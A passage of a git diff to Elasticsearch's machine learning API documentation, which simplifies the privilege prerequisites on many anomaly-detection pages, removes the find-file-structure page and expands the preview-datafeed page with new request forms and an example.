structure finder", - "processors" : [ - { - "grok" : { - "field" : "message", - "patterns" : [ - "\\[%{TIMESTAMP_ISO8601:timestamp}\\]\\[%{LOGLEVEL:loglevel} *\\]\\[%{JAVACLASS:class} *\\] \\[%{HOSTNAME:node}\\] %{JAVALOGMESSAGE:message}" - ] - } - }, - { - "date" : { - "field" : "timestamp", - "timezone" : "{{ event.timezone }}", - "formats" : [ - "ISO8601" - ] - } - }, - { - "remove" : { - "field" : "timestamp" - } - } - ] - }, - "field_stats" : { <2> - "class" : { - "count" : 53, - "cardinality" : 14, - "top_hits" : [ - { - "value" : "o.e.p.PluginsService", - "count" : 26 - }, - { - "value" : "o.e.c.m.MetadataIndexTemplateService", - "count" : 8 - }, - { - "value" : "o.e.n.Node", - "count" : 7 - }, - { - "value" : "o.e.e.NodeEnvironment", - "count" : 2 - }, - { - "value" : "o.e.a.ActionModule", - "count" : 1 - }, - { - "value" : "o.e.c.s.ClusterApplierService", - "count" : 1 - }, - { - "value" : "o.e.c.s.MasterService", - "count" : 1 - }, - { - "value" : "o.e.d.DiscoveryModule", - "count" : 1 - }, - { - "value" : "o.e.g.GatewayService", - "count" : 1 - }, - { - "value" : "o.e.l.LicenseService", - "count" : 1 - } - ] - }, - "loglevel" : { - "count" : 53, - "cardinality" : 3, - "top_hits" : [ - { - "value" : "INFO", - "count" : 51 - }, - { - "value" : "DEBUG", - "count" : 1 - }, - { - "value" : "WARN", - "count" : 1 - } - ] - }, - "message" : { - "count" : 53, - "cardinality" : 53, - "top_hits" : [ - { - "value" : "Using REST wrapper from plugin org.elasticsearch.xpack.security.Security", - "count" : 1 - }, - { - "value" : "adding template [.monitoring-alerts] for index patterns [.monitoring-alerts-6]", - "count" : 1 - }, - { - "value" : "adding template [.monitoring-beats] for index patterns [.monitoring-beats-6-*]", - "count" : 1 - }, - { - "value" : "adding template [.monitoring-es] for index patterns [.monitoring-es-6-*]", - "count" : 1 - }, - { - "value" : "adding template [.monitoring-kibana] for index patterns [.monitoring-kibana-6-*]", - "count" : 1 - }, - { - "value" : "adding template [.monitoring-logstash] for index patterns [.monitoring-logstash-6-*]", - "count" : 1 - }, - { - "value" : "adding template [.triggered_watches] for index patterns [.triggered_watches*]", - "count" : 1 - }, - { - "value" : "adding template [.watch-history-9] for index patterns [.watcher-history-9*]", - "count" : 1 - }, - { - "value" : "adding template [.watches] for index patterns [.watches*]", - "count" : 1 - }, - { - "value" : "starting ...", - "count" : 1 - } - ] - }, - "node" : { - "count" : 53, - "cardinality" : 1, - "top_hits" : [ - { - "value" : "node-0", - "count" : 53 - } - ] - }, - "timestamp" : { - "count" : 53, - "cardinality" : 28, - "earliest" : "2018-09-27T14:39:28,518", - "latest" : "2018-09-27T14:39:37,012", - "top_hits" : [ - { - "value" : "2018-09-27T14:39:29,859", - "count" : 10 - }, - { - "value" : "2018-09-27T14:39:29,860", - "count" : 9 - }, - { - "value" : "2018-09-27T14:39:29,858", - "count" : 6 - }, - { - "value" : "2018-09-27T14:39:28,523", - "count" : 3 - }, - { - "value" : "2018-09-27T14:39:34,234", - "count" : 2 - }, - { - "value" : "2018-09-27T14:39:28,518", - "count" : 1 - }, - { - "value" : "2018-09-27T14:39:28,521", - "count" : 1 - }, - { - "value" : "2018-09-27T14:39:28,522", - "count" : 1 - }, - { - "value" : "2018-09-27T14:39:29,861", - "count" : 1 - }, - { - "value" : "2018-09-27T14:39:32,786", - "count" : 1 - } - ] - } - } -} ----- -// NOTCONSOLE - -<1> The `grok_pattern` in the output is now the overridden one supplied in the - query parameter. -<2> The returned `field_stats` include entries for the fields from the - overridden `grok_pattern`. - -The URL escaping is hard, so if you are working interactively it is best to use -the {ml} UI! diff --git a/docs/reference/ml/anomaly-detection/apis/flush-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/flush-job.asciidoc index cee3710c872b4..d28a86a5a5509 100644 --- a/docs/reference/ml/anomaly-detection/apis/flush-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/flush-job.asciidoc @@ -16,9 +16,8 @@ Forces any buffered data to be processed by the job. [[ml-flush-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-flush-job-desc]] == {api-description-title} @@ -91,7 +90,7 @@ The `last_finalized_bucket_end` provides the timestamp (in milliseconds-since-the-epoch) of the end of the last bucket that was processed. If you want to flush the job to a specific timestamp, you can use the -`advance_time` or `skip_time` parameters. For example, to advance to 11 AM GMT +`advance_time` or `skip_time` parameters. For example, to advance to 11 AM GMT on January 1, 2018: [source,console] diff --git a/docs/reference/ml/anomaly-detection/apis/forecast.asciidoc b/docs/reference/ml/anomaly-detection/apis/forecast.asciidoc index 01e7ef2ce44aa..5ed0f4e0584d2 100644 --- a/docs/reference/ml/anomaly-detection/apis/forecast.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/forecast.asciidoc @@ -16,9 +16,8 @@ Predicts the future behavior of a time series by using its historical behavior. [[ml-forecast-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-forecast-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-bucket.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-bucket.asciidoc index cf673f072ca5a..dea67a4e5939c 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-bucket.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-bucket.asciidoc @@ -18,12 +18,9 @@ Retrieves {anomaly-job} results for one or more buckets. [[ml-get-bucket-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also -need `read` index privilege on the index that stores the results. The -`machine_learning_admin` and `machine_learning_user` roles provide these -privileges. For more information, see <>, -<>, and {ml-docs-setup-privileges}. + +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-bucket-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-calendar-event.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-calendar-event.asciidoc index 7d342d084783f..b1acec934c6d8 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-calendar-event.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-calendar-event.asciidoc @@ -18,9 +18,8 @@ Retrieves information about the scheduled events in calendars. [[ml-get-calendar-event-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-calendar-event-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-calendar.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-calendar.asciidoc index 584da08bb5fdf..6bafee4e909bd 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-calendar.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-calendar.asciidoc @@ -18,9 +18,8 @@ Retrieves configuration information for calendars. [[ml-get-calendar-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-calendar-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-category.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-category.asciidoc index 2aea9aa71402e..83e4ffe3fb438 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-category.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-category.asciidoc @@ -18,12 +18,8 @@ Retrieves {anomaly-job} results for one or more categories. [[ml-get-category-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also -need `read` index privilege on the index that stores the results. The -`machine_learning_admin` and `machine_learning_user` roles provide these -privileges. See <>, <>, and -{ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-category-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-datafeed-stats.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-datafeed-stats.asciidoc index 2786438888fa1..1ce265df2d29a 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-datafeed-stats.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-datafeed-stats.asciidoc @@ -19,14 +19,13 @@ Retrieves usage information for {dfeeds}. `GET _ml/datafeeds/_stats` + -`GET _ml/datafeeds/_all/_stats` +`GET _ml/datafeeds/_all/_stats` [[ml-get-datafeed-stats-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-datafeed-stats-desc]] == {api-description-title} @@ -144,7 +143,7 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-time] `404` (Missing resources):: If `allow_no_match` is `false`, this code indicates that there are no - resources that match the request or only partial matches for the request. + resources that match the request or only partial matches for the request. [[ml-get-datafeed-stats-example]] == {api-examples-title} @@ -172,7 +171,7 @@ The API returns the following results: "transport_address" : "127.0.0.1:9300", "attributes" : { "ml.machine_memory" : "17179869184", - "ml.max_open_jobs" : "20" + "ml.max_open_jobs" : "512" } }, "assignment_explanation" : "", diff --git a/docs/reference/ml/anomaly-detection/apis/get-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-datafeed.asciidoc index 7f5c7f5c0c0bf..0f1f54e8a1984 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-datafeed.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-datafeed.asciidoc @@ -24,9 +24,8 @@ Retrieves configuration information for {dfeeds}. [[ml-get-datafeed-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-datafeed-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-filter.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-filter.asciidoc index 6be7526864316..fa734beaebc66 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-filter.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-filter.asciidoc @@ -18,9 +18,8 @@ Retrieves filters. [[ml-get-filter-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-get-filter-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-influencer.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-influencer.asciidoc index 9ee112bdfa97b..8f7038229fadf 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-influencer.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-influencer.asciidoc @@ -16,12 +16,8 @@ Retrieves {anomaly-job} results for one or more influencers. [[ml-get-influencer-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also -need `read` index privilege on the index that stores the results. The -`machine_learning_admin` and `machine_learning_user` roles provide these -privileges. See <>, <>, and -{ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role.` [[ml-get-influencer-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-job-stats.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-job-stats.asciidoc index d7bde1ebb7093..11a6c4debcaf3 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-job-stats.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-job-stats.asciidoc @@ -17,14 +17,13 @@ Retrieves usage information for {anomaly-jobs}. `GET _ml/anomaly_detectors/_stats` + -`GET _ml/anomaly_detectors/_all/_stats` +`GET _ml/anomaly_detectors/_all/_stats` [[ml-get-job-stats-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-job-stats-desc]] == {api-description-title} @@ -147,13 +146,13 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=sparse-bucket-count] `deleting`:: (Boolean) -Indicates that the process of deleting the job is in progress but not yet +Indicates that the process of deleting the job is in progress but not yet completed. It is only reported when `true`. //Begin forecasts_stats [[forecastsstats]]`forecasts_stats`:: -(object) An object that provides statistical information about forecasts -belonging to this job. Some statistics are omitted if no forecasts have been +(object) An object that provides statistical information about forecasts +belonging to this job. Some statistics are omitted if no forecasts have been made. + NOTE: Unless there is at least one forecast, `memory_bytes`, `records`, @@ -163,24 +162,24 @@ NOTE: Unless there is at least one forecast, `memory_bytes`, `records`, [%collapsible%open] ==== `forecasted_jobs`::: -(long) A value of `0` indicates that forecasts do not exist for this job. A +(long) A value of `0` indicates that forecasts do not exist for this job. A value of `1` indicates that at least one forecast exists. `memory_bytes`::: -(object) The `avg`, `min`, `max` and `total` memory usage in bytes for forecasts +(object) The `avg`, `min`, `max` and `total` memory usage in bytes for forecasts related to this job. If there are no forecasts, this property is omitted. `records`::: -(object) The `avg`, `min`, `max` and `total` number of `model_forecast` documents +(object) The `avg`, `min`, `max` and `total` number of `model_forecast` documents written for forecasts related to this job. If there are no forecasts, this property is omitted. `processing_time_ms`::: -(object) The `avg`, `min`, `max` and `total` runtime in milliseconds for +(object) The `avg`, `min`, `max` and `total` runtime in milliseconds for forecasts related to this job. If there are no forecasts, this property is omitted. `status`::: -(object) The count of forecasts by their status. For example: +(object) The count of forecasts by their status. For example: {"finished" : 2, "started" : 1}. If there are no forecasts, this property is omitted. `total`::: @@ -296,7 +295,7 @@ available only for open jobs. `attributes`::: (object) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-attributes] - + `ephemeral_id`::: (string) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-ephemeral-id] @@ -367,7 +366,7 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-total] == {api-response-codes-title} `404` (Missing resources):: - If `allow_no_match` is `false`, this code indicates that there are no + If `allow_no_match` is `false`, this code indicates that there are no resources that match the request or only partial matches for the request. [[ml-get-job-stats-example]] @@ -460,7 +459,7 @@ The API returns the following results: "attributes" : { "ml.machine_memory" : "17179869184", "xpack.installed" : "true", - "ml.max_open_jobs" : "20" + "ml.max_open_jobs" : "512" } }, "assignment_explanation" : "", diff --git a/docs/reference/ml/anomaly-detection/apis/get-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-job.asciidoc index 14a48717176a6..3d425879adde6 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-job.asciidoc @@ -22,9 +22,8 @@ Retrieves configuration information for {anomaly-jobs}. [[ml-get-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-job-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-ml-info.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-ml-info.asciidoc index eac0a3c83d64e..e6f4f3a48a0ec 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-ml-info.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-ml-info.asciidoc @@ -18,19 +18,16 @@ Returns defaults and limits used by machine learning. [[get-ml-info-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. The -`machine_learning_admin` and `machine_learning_user` roles provide these -privileges. See <>, <> and -{ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[get-ml-info-desc]] == {api-description-title} This endpoint is designed to be used by a user interface that needs to fully understand machine learning configurations where some options are not specified, -meaning that the defaults should be used. This endpoint may be used to find out -what those defaults are. It also provides information about the maximum size +meaning that the defaults should be used. This endpoint may be used to find out +what those defaults are. It also provides information about the maximum size of {ml} jobs that could run in the current cluster configuration. [[get-ml-info-example]] diff --git a/docs/reference/ml/anomaly-detection/apis/get-overall-buckets.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-overall-buckets.asciidoc index 2f883228f412e..4a24a426d2ef0 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-overall-buckets.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-overall-buckets.asciidoc @@ -21,12 +21,8 @@ Retrieves overall bucket results that summarize the bucket results of multiple [[ml-get-overall-buckets-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also -need `read` index privilege on the index that stores the results. The -`machine_learning_admin` and `machine_learning_user` roles provide these -privileges. See <>, <>, and -{ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-overall-buckets-desc]] == {api-description-title} @@ -47,7 +43,7 @@ fine-tune the `overall_score` so that it is more or less sensitive to the number of jobs that detect an anomaly at the same time. For example, if you set `top_n` to `1`, the `overall_score` is the maximum bucket score in the overall bucket. Alternatively, if you set `top_n` to the number of jobs, the `overall_score` is -high only when all jobs detect anomalies in that overall bucket. If you set +high only when all jobs detect anomalies in that overall bucket. If you set the `bucket_span` parameter (to a value greater than its default), the `overall_score` is the maximum `overall_score` of the overall buckets that have a span equal to the jobs' largest bucket span. diff --git a/docs/reference/ml/anomaly-detection/apis/get-record.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-record.asciidoc index 44f96ae375edb..4af3df09aa594 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-record.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-record.asciidoc @@ -16,12 +16,8 @@ Retrieves anomaly records for an {anomaly-job}. [[ml-get-record-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also -need `read` index privilege on the index that stores the results. The -`machine_learning_admin` and `machine_learning_user` roles provide these -privileges. See <>, <>, and -{ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-record-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/get-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-snapshot.asciidoc index 6de7965114552..5fe3ea3a13d14 100644 --- a/docs/reference/ml/anomaly-detection/apis/get-snapshot.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/get-snapshot.asciidoc @@ -19,10 +19,8 @@ Retrieves information about model snapshots. [[ml-get-snapshot-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `monitor_ml`, -`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. - +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-snapshot-path-parms]] == {api-path-parms-title} diff --git a/docs/reference/ml/anomaly-detection/apis/index.asciidoc b/docs/reference/ml/anomaly-detection/apis/index.asciidoc index c38996476b707..eebae76f9b9cf 100644 --- a/docs/reference/ml/anomaly-detection/apis/index.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/index.asciidoc @@ -21,8 +21,6 @@ include::delete-snapshot.asciidoc[leveloffset=+2] include::delete-expired-data.asciidoc[leveloffset=+2] //ESTIMATE include::estimate-model-memory.asciidoc[leveloffset=+2] -//FIND -include::find-file-structure.asciidoc[leveloffset=+2] //FLUSH include::flush-job.asciidoc[leveloffset=+2] //FORECAST diff --git a/docs/reference/ml/anomaly-detection/apis/ml-apis.asciidoc b/docs/reference/ml/anomaly-detection/apis/ml-apis.asciidoc index d401d96a5ac0e..8c48a4a0e5696 100644 --- a/docs/reference/ml/anomaly-detection/apis/ml-apis.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/ml-apis.asciidoc @@ -69,12 +69,6 @@ See also <>. * <> * <> -[discrete] -[[ml-api-file-structure-endpoint]] -== File structure - -* <> - [discrete] [[ml-api-ml-info-endpoint]] == Info diff --git a/docs/reference/ml/anomaly-detection/apis/open-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/open-job.asciidoc index 21408beef9c1d..230b42e66d086 100644 --- a/docs/reference/ml/anomaly-detection/apis/open-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/open-job.asciidoc @@ -16,9 +16,8 @@ Opens one or more {anomaly-jobs}. [[ml-open-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-open-job-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/post-calendar-event.asciidoc b/docs/reference/ml/anomaly-detection/apis/post-calendar-event.asciidoc index cba26ffbeca43..76a5f5ab452f8 100644 --- a/docs/reference/ml/anomaly-detection/apis/post-calendar-event.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/post-calendar-event.asciidoc @@ -16,9 +16,8 @@ Posts scheduled events in a calendar. [[ml-post-calendar-event-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-post-calendar-event-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/post-data.asciidoc b/docs/reference/ml/anomaly-detection/apis/post-data.asciidoc index 4d9bb3fce1474..b8675eea4d5e5 100644 --- a/docs/reference/ml/anomaly-detection/apis/post-data.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/post-data.asciidoc @@ -18,9 +18,8 @@ Sends data to an anomaly detection job for analysis. [[ml-post-data-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-post-data-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/preview-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/preview-datafeed.asciidoc index fa68b1c042659..89d8d0db066a6 100644 --- a/docs/reference/ml/anomaly-detection/apis/preview-datafeed.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/preview-datafeed.asciidoc @@ -13,21 +13,29 @@ Previews a {dfeed}. [[ml-preview-datafeed-request]] == {api-request-title} -`GET _ml/datafeeds//_preview` +`GET _ml/datafeeds//_preview` + + +`POST _ml/datafeeds//_preview` + + +`GET _ml/datafeeds/_preview` + + +`POST _ml/datafeeds/_preview` [[ml-preview-datafeed-prereqs]] == {api-prereq-title} -* If {es} {security-features} are enabled, you must have `monitor_ml`, `monitor`, -`manage_ml`, or `manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the following privileges: +* cluster: `manage_ml` (the `machine_learning_admin` built-in role grants this + privilege) +* source index configured in the {dfeed}: `read`. [[ml-preview-datafeed-desc]] == {api-description-title} -The preview {dfeeds} API returns the first "page" of results from the `search` -that is created by using the current {dfeed} settings. This preview shows the -structure of the data that will be passed to the anomaly detection engine. +The preview {dfeeds} API returns the first "page" of search results from a +{dfeed}. You can preview an existing {dfeed} or provide configuration details +for the {dfeed} and {anomaly-job} in the API. The preview shows the structure of +the data that will be passed to the anomaly detection engine. IMPORTANT: When {es} {security-features} are enabled, the {dfeed} query is previewed using the credentials of the user calling the preview {dfeed} API. @@ -43,12 +51,32 @@ supply the credentials. == {api-path-parms-title} ``:: -(Required, string) +(Optional, string) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id] ++ +NOTE: If you provide the `` as a path parameter, you cannot +provide {dfeed} or {anomaly-job} configuration details in the request body. + +[[ml-preview-datafeed-request-body]] +== {api-request-body-title} + +`datafeed_config`:: +(Optional, object) The {dfeed} definition to preview. For valid definitions, see +the <>. + +`job_config`:: +(Optional, object) The configuration details for the {anomaly-job} that is +associated with the {dfeed}. If the `datafeed_config` object does not include a +`job_id` that references an existing {anomaly-job}, you must supply this +`job_config` object. If you include both a `job_id` and a `job_config`, the +latter information is used. You cannot specify a `job_config` object unless you also supply a `datafeed_config` object. For valid definitions, see the +<>. [[ml-preview-datafeed-example]] == {api-examples-title} +This is an example of providing the ID of an existing {dfeed}: + [source,console] -------------------------------------------------- GET _ml/datafeeds/datafeed-high_sum_total_sales/_preview @@ -86,3 +114,88 @@ The data that is returned for this example is as follows: } ] ---- + +The following example provides {dfeed} and {anomaly-job} configuration +details in the API: + +[source,console] +-------------------------------------------------- +POST _ml/datafeeds/_preview +{ + "datafeed_config": { + "indices" : [ + "kibana_sample_data_ecommerce" + ], + "query" : { + "bool" : { + "filter" : [ + { + "term" : { + "_index" : "kibana_sample_data_ecommerce" + } + } + ] + } + }, + "scroll_size" : 1000 + }, + "job_config": { + "description" : "Find customers spending an unusually high amount in an hour", + "analysis_config" : { + "bucket_span" : "1h", + "detectors" : [ + { + "detector_description" : "High total sales", + "function" : "high_sum", + "field_name" : "taxful_total_price", + "over_field_name" : "customer_full_name.keyword" + } + ], + "influencers" : [ + "customer_full_name.keyword", + "category.keyword" + ] + }, + "analysis_limits" : { + "model_memory_limit" : "10mb" + }, + "data_description" : { + "time_field" : "order_date", + "time_format" : "epoch_ms" + } + } +} +-------------------------------------------------- +// TEST[skip:set up Kibana sample data] + +The data that is returned for this example is as follows: + +[source,console-result] +---- +[ + { + "order_date" : 1574294659000, + "category.keyword" : "Men's Clothing", + "customer_full_name.keyword" : "Sultan Al Benson", + "taxful_total_price" : 35.96875 + }, + { + "order_date" : 1574294918000, + "category.keyword" : [ + "Women's Accessories", + "Women's Clothing" + ], + "customer_full_name.keyword" : "Pia Webb", + "taxful_total_price" : 83.0 + }, + { + "order_date" : 1574295782000, + "category.keyword" : [ + "Women's Accessories", + "Women's Shoes" + ], + "customer_full_name.keyword" : "Brigitte Graham", + "taxful_total_price" : 72.0 + } +] +---- diff --git a/docs/reference/ml/anomaly-detection/apis/put-calendar-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-calendar-job.asciidoc index b55bcc7b5c4b1..384d3ff6b13c1 100644 --- a/docs/reference/ml/anomaly-detection/apis/put-calendar-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/put-calendar-job.asciidoc @@ -16,9 +16,8 @@ Adds an {anomaly-job} to a calendar. [[ml-put-calendar-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-put-calendar-job-path-parms]] == {api-path-parms-title} diff --git a/docs/reference/ml/anomaly-detection/apis/put-calendar.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-calendar.asciidoc index e9b3296ac7153..1802c6e8cb0c5 100644 --- a/docs/reference/ml/anomaly-detection/apis/put-calendar.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/put-calendar.asciidoc @@ -16,9 +16,8 @@ Instantiates a calendar. [[ml-put-calendar-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-put-calendar-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/put-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-datafeed.asciidoc index e4a4f02ceb5a2..1e61cf95c3106 100644 --- a/docs/reference/ml/anomaly-detection/apis/put-datafeed.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/put-datafeed.asciidoc @@ -19,9 +19,10 @@ Instantiates a {dfeed}. == {api-prereq-title} * You must create an {anomaly-job} before you create a {dfeed}. -* If {es} {security-features} are enabled, you must have `manage_ml` or `manage` -cluster privileges to use this API. See <> and -{ml-docs-setup-privileges}. +* Requires the following privileges: +** cluster: `manage_ml` (the `machine_learning_admin` built-in role grants this + privilege) +** source index configured in the {dfeed}: 